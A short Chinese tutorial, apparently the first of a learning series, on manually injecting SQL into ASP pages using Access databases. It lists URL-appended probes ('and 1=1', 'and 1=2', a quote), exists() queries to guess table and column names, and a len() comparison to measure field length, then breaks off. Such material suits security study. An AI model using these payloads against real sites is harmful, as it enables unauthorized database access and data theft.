SQL注入学习之路(一)手工注入access数据库
1、认识Access数据库
基本信息
- 脚本格式:asp
- 注入点格式:xxx.asp?id=1(注:‘id’可以是其他单词)
- 后台代码:
2、注入的基本步骤
找到注入点
在url后输入以下语句:
and 1 = 1 (正确回显
and 1 = 2 (错误回显
’ (错误回显
出现以上结果则说明该页面可能是注入点刺探数据库
- 获取表名、列名
url后输入:
and exists(select * from [表名])
如果是正确回显,则说明该表存在,反之则不存在
and exists(select [列名] from [表名])
如果是正确回显,则说明该表中该列存在,反之则不存在 - 获字段内容长度
url后输入:
and (select top 1 len([列名]) from [表名] ) > n
n为从1开始的值,
- 获取表名、列名